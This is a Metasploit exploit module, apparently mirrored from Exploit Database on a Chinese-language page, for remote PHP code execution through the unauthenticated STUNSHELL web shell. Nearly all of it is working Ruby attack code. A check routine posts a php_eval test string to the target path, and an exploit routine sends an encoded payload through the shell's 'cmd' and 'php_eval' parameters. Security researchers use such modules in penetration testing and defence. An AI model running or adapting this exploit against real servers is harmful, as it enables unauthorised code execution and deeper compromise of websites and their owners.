STUNSHELL (Web Shell) – PHP Remote Code Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2013-03-29
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24902/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'STUNSHELL Web Shell Remote PHP Code Execution',
  'Description'=> %q{
  This module exploits unauthenticated versions of the "STUNSHELL" web shell.
  This module works when safe mode is enabled on the web server. This shell is widely
  used in automated RFI payloads.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
  ],
  'References' =>
  [
  ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
  ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'Keys'=> ['php'],
  'Space' => 10000,
  'DisableNops' => true
  },
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets'=> 
  [
  ['stunshell', {}]
  ],
  'DisclosureDate' => 'Mar 23 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
  ],self.class)
  end
  
  def check
  uri = normalize_uri(target_uri.path.to_s)
  request_parameters = {
  'method'=> 'POST',
  'uri'=> uri,
  'vars_post'=>
  {
  'cmd' => "php_eval",
  'php_eval' => "print 'andalas_oku test parameter';"
  }
  }
  shell = send_request_cgi(request_parameters)
  if (shell and shell.body =~ /andalas_oku test parameter/)
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
  end
  
  def http_send_command(cmd)
  uri = normalize_uri(target_uri.path.to_s)
  request_parameters = {
  'method'=> 'POST',
  'uri'=> uri,
  'vars_post'=>
  {
  'cmd' => "php_eval",
  "php_eval" => cmd
  }
  }
  res = send_request_cgi(request_parameters)
  end
  
  def exploit
  http_send_command(payload.encoded)
  end
  end